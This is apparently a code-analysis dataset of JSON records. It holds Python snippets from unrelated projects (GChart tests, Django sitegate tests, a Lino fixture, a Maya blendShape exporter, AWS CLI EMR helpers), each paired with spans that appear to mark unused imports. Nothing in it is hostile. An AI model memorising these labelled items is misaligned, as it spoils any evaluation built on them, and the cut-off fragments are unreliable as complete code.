addChart(TestGChart48(4))\n # addChart(TestGChart48(5))\n # addChart(TestGChart48(6))\n # addChart(TestGChart48(8))\n # addChart(TestGChart48(9))\n # addChart(TestGChart48(10))\n # addChart(TestGChart49(3,False, False))\n # addChart(TestGChart49(3, False, True))\n # addChart(TestGChart49(3,True, False))\n # addChart(TestGChart49(3, True, True))\n # addChart(TestGChart50(GChart.TickLocation.CENTERED,0))\n # addChart(TestGChart50(GChart.TickLocation.INSIDE,0))\n # addChart(TestGChart50(GChart.TickLocation.OUTSIDE,0))\n # addChart(TestGChart50(GChart.TickLocation.CENTERED,5))\n # addChart(TestGChart50(GChart.TickLocation.INSIDE,5))\n # addChart(TestGChart50(GChart.TickLocation.OUTSIDE,5))\n # addChart(TestGChart51(0))\n # addChart(TestGChart51(1))\n # addChart(TestGChart52())\n # addChart(TestGChart53())\n # >>)\n # addChart(TestGChart54())\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart55())\n # >>)\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart55a())\n # >>)\n # addChart(TestGChart56())\n #\n #addChart(TestGChart57())\n #RootPanel.get().add(TestGChart57a())\n #RootPanel.get().add(TestGChart58())\n\n #addChart(TestGChart00())\n \n RootPanel(\"loadingMessage\").setVisible(False)", "metadata": "root.onModuleLoad", "header": "['module', '___EOS___']", "index": 130 } ]

[ { "span": "from TestGChart00 import TestGChart00 ", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 37 }, { "span": "from TestGChart01 import TestGChart01 ", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 37 }, { "span": "from TestGChart02 import TestGChart02 ", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 37 }, { "span": "from GChartExample00 import GChartExample00 ", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 43 }, { "span": "from GChartExample00a import GChartExample00a", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 45 }, { "span": "from GChartExample01 import GChartExample01 ", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 43 }, { "span": "from GChartExample03 import GChartExample03", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 43 }, { "span": "from GChartExample04 import GChartExample04", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 43 }, { "span": "from GChartExample06 import GChartExample06", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 43 }, { "span": "from GChartExample14 import GChartExample14", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 43 }, { "span": "from GChartExample17 import GChartExample17", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 43 }, { "span": "from GChartExample25 import GChartExample25", "start_line": 38, "start_column": 0, "end_line": 38, "end_column": 43 } ]

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[ { "content": " def test_signin(self):\n # simple decoration\n response = signin_view(lambda req: req)(self.req_factory.get('/signin/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signin_forms' in response.sitegate)\n self.assertFalse('signup_forms' in response.sitegate)\n\n # simple decoration + view with args\n response = signin_view(lambda req, a1, a2='b': (req, a1, a2))(self.req_factory.get('/signin/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertFalse('signup_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # stacking\n signin_view1 = signin_view(flow=ClassicSignin)\n signin_view2 = signin_view(flow=ModernSignin)\n response = signin_view1(signin_view2(lambda req: req))(self.req_factory.get('/signin/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signin_forms' in response.sitegate)\n self.assertFalse('signup_forms' in response.sitegate)\n self.assertTrue(len(response.sitegate['signin_forms']) == 2)\n dict_keys = list(response.sitegate['signin_forms'].keys())\n self.assertIsInstance(response.sitegate['signin_forms'][dict_keys[0]], ClassicSignin.form)\n self.assertIsInstance(response.sitegate['signin_forms'][dict_keys[1]], ModernSignin.form)\n\n # stacking with args\n signin_view1 = signin_view(flow=ClassicSignin, widget_attrs={'attr_name1': 'attr_value1'})\n signin_view2 = signin_view(flow=ModernSignin, widget_attrs={'attr_name2': 'attr_value2'})\n response = signin_view1(signin_view2(lambda req: req))(self.req_factory.get('/signin/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n field = response.sitegate['signin_forms']['ClassicSignin'].fields.get('password')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response.sitegate['signin_forms']['ModernSignin'].fields.get('password')\n self.assertIn('attr_name2', field.widget.attrs)", "metadata": "root.DecoratorsTest.test_signin", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 199 }, { "content": " def test_signup(self):\n # simple decoration\n response = signup_view(lambda req: req)(self.req_factory.get('/signup/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertFalse('signin_forms' in response.sitegate)\n\n # simple decoration + view with args\n response = signup_view(lambda req, a1, a2='b': (req, a1, a2))(self.req_factory.get('/signup/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertFalse('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # stacking\n signup_view1 = signup_view(flow=ClassicSignup)\n signup_view2 = signup_view(flow=ModernSignup)\n response = signup_view1(signup_view2(lambda req: req))(self.req_factory.get('/signup/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertFalse('signin_forms' in response.sitegate)\n self.assertTrue(len(response.sitegate['signup_forms']) == 2)\n dict_keys = list(response.sitegate['signup_forms'].keys())\n self.assertIsInstance(response.sitegate['signup_forms'][dict_keys[0]], ClassicSignup.form)\n self.assertIsInstance(response.sitegate['signup_forms'][dict_keys[1]], ModernSignup.form)\n\n # stacking with args\n signup_view1 = signup_view(flow=ClassicSignup, widget_attrs={'attr_name1': 'attr_value1'})\n signup_view2 = signup_view(flow=ModernSignup, widget_attrs={'attr_name2': 'attr_value2'})\n response = signup_view1(signup_view2(lambda req: req))(self.req_factory.get('/signup/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n field = response.sitegate['signup_forms']['ClassicSignup'].fields.get('password1')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response.sitegate['signup_forms']['ModernSignup'].fields.get('password1')\n self.assertIn('attr_name2', field.widget.attrs)", "metadata": "root.DecoratorsTest.test_signup", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 236 }, { "content": " def test_signinup(self):\n # simple decoration\n response = signin_view(signup_view(lambda req: req))(self.req_factory.get('/entrance/'))\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertTrue('signin_forms' in response.sitegate)\n\n # simple decoration + view with args\n response = signin_view(signup_view(lambda req, a1, a2='b': (req, a1, a2)))(self.req_factory.get('/entrance/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # stacking with args\n view_signin = signin_view(widget_attrs={'attr_name1': 'attr_value1'})\n view_signup = signup_view(widget_attrs={'attr_name2': 'attr_value2'})\n response = view_signin(view_signup(lambda req, a1, a2='b': (req, a1, a2)))(self.req_factory.get('/entrance/'), 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n field = response[0].sitegate['signin_forms']['ModernSignin'].fields.get('password')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response[0].sitegate['signup_forms']['ModernSignup'].fields.get('password1')\n self.assertIn('attr_name2', field.widget.attrs)", "metadata": "root.DecoratorsTest.test_signinup", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 273 }, { "content": " def test_sitegate(self):\n # logged in\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(True)\n response = sitegate_view(lambda req: req)(request)\n self.assertIsInstance(response, HttpResponseRedirect)\n\n # not logged in\n\n # simple decoration\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(False)\n response = sitegate_view(lambda req: req)(request)\n self.assertNotIsInstance(response, HttpResponseRedirect)\n self.assertTrue(hasattr(response, 'sitegate'))\n self.assertTrue('signup_forms' in response.sitegate)\n self.assertTrue('signin_forms' in response.sitegate)\n\n # simple decoration + view with args\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(False)\n response = sitegate_view(lambda req, a1, a2='b': (req, a1, a2))(request, 10, a2=20)\n self.assertNotIsInstance(response, HttpResponseRedirect)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n self.assertTrue('signup_forms' in response[0].sitegate)\n self.assertTrue('signin_forms' in response[0].sitegate)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)\n\n # parametrized decoration\n request = self.req_factory.get('/entrance/')\n request.user = MockUser(False)\n view_sitegate = sitegate_view(widget_attrs={'attr_name1': 'attr_value1'})\n response = view_sitegate(lambda req, a1, a2='b': (req, a1, a2))(request, 10, a2=20)\n self.assertTrue(hasattr(response[0], 'sitegate'))\n field = response[0].sitegate['signin_forms']['ModernSignin'].fields.get('password')\n self.assertIn('attr_name1', field.widget.attrs)\n field = response[0].sitegate['signup_forms']['ModernSignup'].fields.get('password1')\n self.assertIn('attr_name1', field.widget.attrs)\n self.assertEqual(response[1], 10)\n self.assertEqual(response[2], 20)", "metadata": "root.DecoratorsTest.test_sitegate", "header": "['class', 'DecoratorsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 324 }, { "content": " def test_classic_signup_attrs(self):\n f = ClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_classic_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 402 }, { "content": " def test_simple_classic_signup_attrs(self):\n f = SimpleClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_simple_classic_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 432 }, { "content": " def test_classic_with_email_signup_attrs(self):\n f = ClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 440 }, { "content": " def test_simple_classic_with_email_signup_attrs(self):\n f = SimpleClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue(get_username_field() in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupFormsTest.test_simple_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 449 }, { "content": " def test_classic_signup_attrs(self):\n f = ClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_classic_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 462 }, { "content": " def test_simple_classic_signup_attrs(self):\n f = SimpleClassicSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' not in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_simple_classic_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 492 }, { "content": " def test_classic_with_email_signup_attrs(self):\n f = ClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' not in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertTrue('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 501 }, { "content": " def test_simple_classic_with_email_signup_attrs(self):\n f = SimpleClassicWithEmailSignupForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' not in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ClassicSignupCustomUserFormsTest.test_simple_classic_with_email_signup_attrs", "header": "['class', 'ClassicSignupCustomUserFormsTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 510 }, { "content": " def test_modern_signup_attrs(self):\n f = ModernSignupForm()\n fields = set(f.fields.keys())\n\n self.assertFalse('username' in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ModernSignupFormsTest.test_modern_signup_attrs", "header": "['class', 'ModernSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 523 }, { "content": " def test_invitation_signup_attrs(self):\n f = InvitationSignupForm()\n fields = set(f.fields.keys())\n\n self.assertFalse('username' in fields)\n self.assertTrue('code' in fields)\n self.assertTrue('email' in fields)\n self.assertTrue('password1' in fields)\n self.assertFalse('password2' in fields)", "metadata": "root.ModernSignupFormsTest.test_invitation_signup_attrs", "header": "['class', 'ModernSignupFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 532 }, { "content": " def test_classic_signin_attrs(self):\n f = ClassicSigninForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' in fields)\n self.assertTrue('password' in fields)", "metadata": "root.ClassicSigninFormsTest.test_classic_signin_attrs", "header": "['class', 'ClassicSigninFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 554 }, { "content": " def test_modern_signin_attrs(self):\n f = ModernSigninForm()\n fields = set(f.fields.keys())\n\n self.assertTrue('username' in fields)\n self.assertTrue('password' in fields)", "metadata": "root.ModernSigninFormsTest.test_modern_signin_attrs", "header": "['class', 'ModernSigninFormsTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 564 }, { "content": " def test_get_sitegate_urls(self):\n urls = get_sitegate_urls()\n self.assertIsInstance(urls, list)\n self.assertTrue(len(urls) == 1)\n self.assertIsInstance(urls[0], RegexURLPattern)", "metadata": "root.ToolboxTest.test_get_sitegate_urls", "header": "['class', 'ToolboxTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 632 } ]

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[ { "content": "# -*- coding: UTF-8 -*-\n# Copyright 2011-2015 Luc Saffre\n# License: BSD (see file COPYING for details)\n\nfrom django.conf import settings\nfrom lino.utils.instantiator import Instantiator\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def objects():\n tft = Instantiator('tinymce.TextFieldTemplate',\n \"name description text\").build\n\n yield tft(\"hello\", \"Inserts 'Hello, world!'\", \"\"\"<div>Hello, world!</div>\"\"\")\n #~ yield tft(\"mfg\",\"\",'<p>Mit freundlichen Gr&uuml;&szlig;en<br><p class=\"data_field\">root</p>')\n yield tft(\"mfg\", \"\", '<p>Mit freundlichen Gr&uuml;&szlig;en<br><p>{{request.subst_user or request.user}}</p>')", "metadata": "root.objects", "header": "['module', '___EOS___']", "index": 8 } ]

[ { "span": "from django.conf import settings", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 32 } ]

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[ { "content": "def exportBlendShapes():\n\t\"\"\"Exports sparse blendShape data from the scene for each mesh with a\n\tblendShape deformer in its history. This is accomplished by duplicating\n\tthe mesh and tagging vertices in the duplicate using vertex colors. The\n\tduplicate then stores all of the data as user properties.\"\"\"\n\t\n\t# find all of the potential models in the scene\n\tmodels = om.MSelectionList()\n\tfor model in cmds.ls(transforms=True): models.add(model)\n\t\n\t# store a dictionary mapping models whose shapes have a blendShape upstream to all of their blendShape nodes\n\tmodelsWithBlendShapeDeformers = {}\n\tdagPath = om.MDagPath()\n\titer = om.MItSelectionList(models)\n\twhile not iter.isDone():\n\t\titer.getDagPath(dagPath)\n\t\tmodel = om.MDagPath(dagPath)\n\t\ttry:\n\t\t\t# ensure the current transform has a shape node\n\t\t\tdagPath.extendToShape()\n\t\t\t# search upstream from shape for all blendShape nodes\n\t\t\tdg = om.MItDependencyGraph(dagPath.node(), om.MFn.kBlendShape, om.MItDependencyGraph.kUpstream)\n\t\t\twhile not dg.isDone():\n\t\t\t\t# add the blendShape nodes to a list in the dictionary\n\t\t\t\tif not modelsWithBlendShapeDeformers.has_key(model):\n\t\t\t\t\tmodelsWithBlendShapeDeformers[model] = []\n\t\t\t\tmodelsWithBlendShapeDeformers[model].append(dg.currentItem())\n\t\t\t\tdg.next()\n\t\texcept: pass\n\t\titer.next()\n\t\n\t# create tagged duplicates for each model with blendShapes and its targets\n\tfor model in modelsWithBlendShapeDeformers.keys():\n\t\t\n\t\t# delete non-deformer history on the model in order to collapse intermediate nodes\n\t\t# model will come into Unity wrong, but at least not with ugly error\n\t\tcmds.select(model.partialPathName())\n\t\tmel.eval('doBakeNonDefHistory( 1, {\"prePost\" });')\n\t\tcmds.select(cl=True)\n\t\t\n\t\t# zero all blendShape target weights on the model\n\t\tfor blendNode in modelsWithBlendShapeDeformers[model]:\n\t\t\tfn = om.MFnDependencyNode(blendNode)\n\t\t\taliases = cmds.aliasAttr(fn.name(), q=True)\n\t\t\tfor alias in aliases:\n\t\t\t\t# skip non-weight attributes\n\t\t\t\tif not re.match('weight\\[[0-9]+\\]', alias): continue\n\t\t\t\tdest = '%s.%s'%(fn.name(), alias)\n\t\t\t\tsource = cmds.listConnections(dest, p=True)\n\t\t\t\tif source: cmds.disconnectAttr(source[0], dest)\n\t\t\t\tcmds.setAttr(dest, 0.0)\n\t\t\n\t\t# duplicate the base mesh and indicate that it is the base index map\n\t\ttaggedBaseMesh = cmds.duplicate(model.partialPathName())[0]\n\t\ttaggedBaseMesh = cmds.rename(taggedBaseMesh, model.partialPathName()+'__blendShapeIndexMap')\n\t\tcustomAttrs = cmds.listAttr(taggedBaseMesh, ud=True)\n\t\tif (customAttrs):\t\n\t\t\tfor attr in customAttrs:\n\t\t\t\ttry: cmds.deleteAttr(taggedBaseMesh, at=attr)\n\t\t\t\texcept: pass\n\t\tcmds.addAttr(taggedBaseMesh, ln='isBlendShapeMapFor', dt='string')\n\t\tcmds.setAttr('%s.isBlendShapeMapFor'%taggedBaseMesh, model.partialPathName(), type='string')\n\t\t\n\t\t# tag each vertex in the base shape duplicate\n\t\tdagPath = om.MDagPath()\n\t\tsel = om.MSelectionList()\n\t\tsel.add(taggedBaseMesh)\n\t\tsel.getDagPath(0, dagPath)\n\t\tdagPath.extendToShape()\n\t\ttagMesh(dagPath)\n\t\t\n\t\t# duplicate the tagged base mesh to create the seamless base mesh\n\t\tseamlessBaseMesh = cmds.duplicate(taggedBaseMesh)[0]\n\t\tseamlessBaseMesh = cmds.rename(seamlessBaseMesh, model.partialPathName()+'__seamlessBaseMesh')\n\t\tfor attr in cmds.listAttr(seamlessBaseMesh, ud=True):\n\t\t\ttry: cmds.deleteAttr(seamlessBaseMesh, at=attr)\n\t\t\texcept: pass\n\t\tmakeSeamless(seamlessBaseMesh)\n\t\t# link seamless mesh to tagged base shape\n\t\tcmds.addAttr(seamlessBaseMesh, ln='isSeamlessBaseMeshFor', dt='string')\n\t\tcmds.setAttr('%s.isSeamlessBaseMeshFor'%seamlessBaseMesh, taggedBaseMesh, type='string')\n\t\t# make the seamless base mesh a child of the tagged base mesh, in order to avoid creating additional roots\n\t\tcmds.parent(seamlessBaseMesh, taggedBaseMesh)\n\t\t\n\t\t# create a color-tagged copy of each target, linked back to the tagged base shape via user properties\n\t\tfor blendNode in modelsWithBlendShapeDeformers[model]:\n\t\t\tfn = om.MFnDependencyNode(blendNode)\n\t\t\taliases = cmds.aliasAttr(fn.name(), q=True)\n\t\t\tfor alias in aliases:\n\t\t\t\t# skip weight attributes\n\t\t\t\tif re.match('weight\\[[0-9]+\\]', alias): continue\n\t\t\t\t# create a duplicate of the composite shape and convert it into a seamless mesh\n\t\t\t\tcmds.setAttr('%s.%s'%(fn.name(), alias), 1.0)\n\t\t\t\ttaggedTarget = cmds.duplicate(model.partialPathName())[0]\n\t\t\t\tattrs = cmds.listAttr(taggedTarget, ud=True)\n\t\t\t\tif (attrs):\n\t\t\t\t\tfor attr in attrs:\n\t\t\t\t\t\ttry: cmds.deleteAttr(taggedTarget, at=attr)\n\t\t\t\t\t\texcept: pass\n\t\t\t\ttaggedTarget = cmds.rename(taggedTarget, '%s__blendShapeTarget__%s'%(model.partialPathName(), alias))\n\t\t\t\tmakeSeamless(taggedTarget)\n\t\t\t\tcmds.setAttr('%s.%s'%(fn.name(), alias), 0.0)\n\t\t\t\t# tag the duplicated target\n\t\t\t\tdagPath = om.MDagPath()\n\t\t\t\tsel = om.MSelectionList()\n\t\t\t\tsel.add(taggedTarget)\n\t\t\t\tsel.getDagPath(0, dagPath)\n\t\t\t\tdagPath.extendToShape()\n\t\t\t\ttagMesh(dagPath)\n\t\t\t\t# link target to tagged base shape\n\t\t\t\tcmds.addAttr(taggedTarget, ln='isBlendShapeTargetFor', dt='string')\n\t\t\t\tcmds.setAttr('%s.isBlendShapeTargetFor'%taggedTarget, taggedBaseMesh, type='string')\n\t\t\t\t# make the tagged mesh a child of the tagged base mesh, in order to avoid creating additional roots\n\t\t\t\tcmds.parent(taggedTarget, taggedBaseMesh)\n\t\n\t\t# make the tagged mesh a child of the original, in order to avoid creating additional roots\n\t\tcmds.parent(taggedBaseMesh, model.partialPathName())", "metadata": "root.exportBlendShapes", "header": "['module', '___EOS___']", "index": 47 }, { "content": "def makeSeamless(meshName):\n\t\"\"\"Makes a supplied mesh \"seamless\" in Unity by deleting its UV coordinates, smoothing normals, triangulating, and clearing material assignments\"\"\"\n\t# clear uvs so there are no seams or tangents\n\tuvs = cmds.polyUVSet(meshName, q=True, auv=True)\n\tfor uv in uvs:\n\t\ttry: cmds.polyUVSet(meshName, e=True, uvSet=uv, delete=True)\n\t\texcept: pass\n\tuvSet = cmds.polyUVSet(meshName, q=True, auv=True)[0]\n\tsel = om.MSelectionList()\n\tsel.add(meshName)\n\tdagPath = om.MDagPath()\n\tsel.getDagPath(0, dagPath)\n\tfn = om.MFnMesh(dagPath)\n\tfn.clearUVs(uvSet)\n\t# smooth normals so there are no normal separations\n\tcmds.polySoftEdge(meshName, a=180, ch=True)\n\t# triangulate geometry\n\tcmds.polyTriangulate(meshName)\n\t# apply a single material so there are no submesh separations\n\tcmds.sets(meshName, e=True, forceElement='initialShadingGroup')\n\t# delete all history\n\tcmds.delete(meshName, ch=True)\n\tcmds.select(clear=True)", "metadata": "root.makeSeamless", "header": "['module', '___EOS___']", "index": 165 }, { "content": "def tagMesh(meshDagPath):\n\t\"\"\"Tag the points on the supplied mesh with vertex colors to store Maya's point order\"\"\"\n\t# clear any extant vertex colors\n\ttry: cmds.polyColorSet(meshDagPath.partialPathName(), e=True, delete=True, acs=True)\n\texcept: pass\n\t\n\t# encode each point index in the red and green channels of each point's color value\n\tmeshFn = om.MFnMesh(meshDagPath)\n\tvertexCount = om.MIntArray()\n\tvertexList = om.MIntArray()\n\tmeshFn.getVertices(vertexCount, vertexList)\n\tvertexColors = om.MColorArray(meshFn.numVertices(), om.MColor(0.0,0.0,1.0,1.0))\t\n\t\n\tfor i in xrange(meshFn.numVertices()):\n\t\tcol = om.MColor(tagIndexToColor(i))\n\t\tvertexColors[i].r = col.r\n\t\tvertexColors[i].g = col.g\n\tmeshFn.createColorSetWithName('blendShapeIndexMap')\n\tmeshFn.setColors(vertexColors, 'blendShapeIndexMap')\n\tmeshFn.assignColors(vertexList)", "metadata": "root.tagMesh", "header": "['module', '___EOS___']", "index": 189 } ]

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[ { "content": "# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nimport json\nimport logging\nimport os\n\n\nfrom awscli.clidriver import CLIOperationCaller\nfrom awscli.customizations.emr import constants\nfrom awscli.customizations.emr import exceptions\nfrom botocore.exceptions import WaiterError, NoCredentialsError\nfrom botocore import xform_name\n\nLOG = logging.getLogger(__name__)\n\n\n\n\n\n\n\n\n# Deprecate. Rename to apply_dict\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def parse_tags(raw_tags_list):\n tags_dict_list = []\n if raw_tags_list:\n for tag in raw_tags_list:\n if tag.find('=') == -1:\n key, value = tag, ''\n else:\n key, value = tag.split('=', 1)\n tags_dict_list.append({'Key': key, 'Value': value})\n\n return tags_dict_list", "metadata": "root.parse_tags", "header": "['module', '___EOS___']", "index": 27 }, { "content": "def parse_key_value_string(key_value_string):\n # raw_key_value_string is a list of key value pairs separated by comma.\n # Examples: \"k1=v1,k2='v 2',k3,k4\"\n key_value_list = []\n if key_value_string is not None:\n raw_key_value_list = key_value_string.split(',')\n for kv in raw_key_value_list:\n if kv.find('=') == -1:\n key, value = kv, ''\n else:\n key, value = kv.split('=', 1)\n key_value_list.append({'Key': key, 'Value': value})\n return key_value_list\n else:\n return None", "metadata": "root.parse_key_value_string", "header": "['module', '___EOS___']", "index": 40 }, { "content": "def apply_boolean_options(\n true_option, true_option_name, false_option, false_option_name):\n if true_option and false_option:\n error_message = \\\n 'aws: error: cannot use both ' + true_option_name + \\\n ' and ' + false_option_name + ' options together.'\n raise ValueError(error_message)\n elif true_option:\n return True\n else:\n return False", "metadata": "root.apply_boolean_options", "header": "['module', '___EOS___']", "index": 57 }, { "content": "def apply(params, key, value):\n if value:\n params[key] = value\n\n return params", "metadata": "root.apply", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def apply_dict(params, key, value):\n if value:\n params[key] = value\n\n return params", "metadata": "root.apply_dict", "header": "['module', '___EOS___']", "index": 78 }, { "content": "def apply_params(src_params, src_key, dest_params, dest_key):\n if src_key in src_params.keys() and src_params[src_key]:\n dest_params[dest_key] = src_params[src_key]\n\n return dest_params", "metadata": "root.apply_params", "header": "['module', '___EOS___']", "index": 85 }, { "content": "def build_step(\n jar, name='Step',\n action_on_failure=constants.DEFAULT_FAILURE_ACTION,\n args=None,\n main_class=None,\n properties=None):\n check_required_field(\n structure='HadoopJarStep', name='Jar', value=jar)\n\n step = {}\n apply_dict(step, 'Name', name)\n apply_dict(step, 'ActionOnFailure', action_on_failure)\n jar_config = {}\n jar_config['Jar'] = jar\n apply_dict(jar_config, 'Args', args)\n apply_dict(jar_config, 'MainClass', main_class)\n apply_dict(jar_config, 'Properties', properties)\n step['HadoopJarStep'] = jar_config\n\n return step", "metadata": "root.build_step", "header": "['module', '___EOS___']", "index": 92 }, { "content": "def build_bootstrap_action(\n path,\n name='Bootstrap Action',\n args=None):\n if path is None:\n raise exceptions.MissingParametersError(\n object_name='ScriptBootstrapActionConfig', missing='Path')\n ba_config = {}\n apply_dict(ba_config, 'Name', name)\n script_config = {}\n apply_dict(script_config, 'Args', args)\n script_config['Path'] = path\n apply_dict(ba_config, 'ScriptBootstrapAction', script_config)\n\n return ba_config", "metadata": "root.build_bootstrap_action", "header": "['module', '___EOS___']", "index": 114 }, { "content": "def build_s3_link(relative_path='', region='us-east-1'):\n if region is None:\n region = 'us-east-1'\n return 's3://{0}.elasticmapreduce{1}'.format(region, relative_path)", "metadata": "root.build_s3_link", "header": "['module', '___EOS___']", "index": 131 }, { "content": "def get_script_runner(region='us-east-1'):\n if region is None:\n region = 'us-east-1'\n return build_s3_link(\n relative_path=constants.SCRIPT_RUNNER_PATH, region=region)", "metadata": "root.get_script_runner", "header": "['module', '___EOS___']", "index": 137 }, { "content": "def check_required_field(structure, name, value):\n if not value:\n raise exceptions.MissingParametersError(\n object_name=structure, missing=name)", "metadata": "root.check_required_field", "header": "['module', '___EOS___']", "index": 144 }, { "content": "def check_empty_string_list(name, value):\n if not value or (len(value) == 1 and value[0].strip() == \"\"):\n raise exceptions.EmptyListError(param=name)", "metadata": "root.check_empty_string_list", "header": "['module', '___EOS___']", "index": 150 }, { "content": "def call(session, operation_name, parameters, region_name=None,\n endpoint_url=None, verify=None):\n # We could get an error from get_endpoint() about not having\n # a region configured. Before this happens we want to check\n # for credentials so we can give a good error message.\n if session.get_credentials() is None:\n 